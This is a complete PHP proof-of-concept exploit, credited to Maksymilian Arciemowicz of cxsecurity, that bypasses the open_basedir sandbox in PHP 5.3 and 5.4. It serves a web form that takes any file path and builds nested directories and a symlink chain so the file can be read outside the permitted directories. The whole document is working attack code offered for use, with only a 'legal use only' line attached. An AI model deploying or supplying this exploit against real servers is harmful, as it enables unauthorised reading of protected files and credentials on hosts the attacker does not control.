<?php
/*
PHP 5.3 5.4 open_basedir bypass exploit
by Maksymilian Arciemowicz http://cxsecurity.com/
cxib [ a.T] cxsecurity [ d0t] com
*/
$fakedir="cx";
$fakedep=16;
$num=0; // offset of symlink.$num
if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";
echo '<PRE>
.__ __
____ ___ ___ ______ ____ ____ __ _________|__|/ |_ ___.__.
_/ ___\\\\ \/ / / ___// __ \_/ ___\| | \_ __ \ \ __< | |
\ \___ > < \___ \\\\ ___/\ \___| | /| | \/ || | \___ |
\___ >__/\_ \/____ >\___ >\___ >____/ |__| |__||__| / ____|
\/ \/ \/ \/ \/ \/
<p>PHP 5.4 open_basedir bypass exploit poc
<p>Script for legal use only. More: <a href="http://cxsecurity.com/" alt="exploit">cxsecurity.com</a>
<p><form name="form"
action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';
if(empty($file))
exit;
if(!is_writable("."))
die("not writable directory");
$level=0;
for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}
while(1<$as--) chdir("..");
$hardstyle = explode("/", $file);
for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");
@rmdir("fakesymlink");
@unlink("fakesymlink");
@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
else $num++;
@unlink("fakesymlink");
mkdir("fakesymlink");
die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
?>
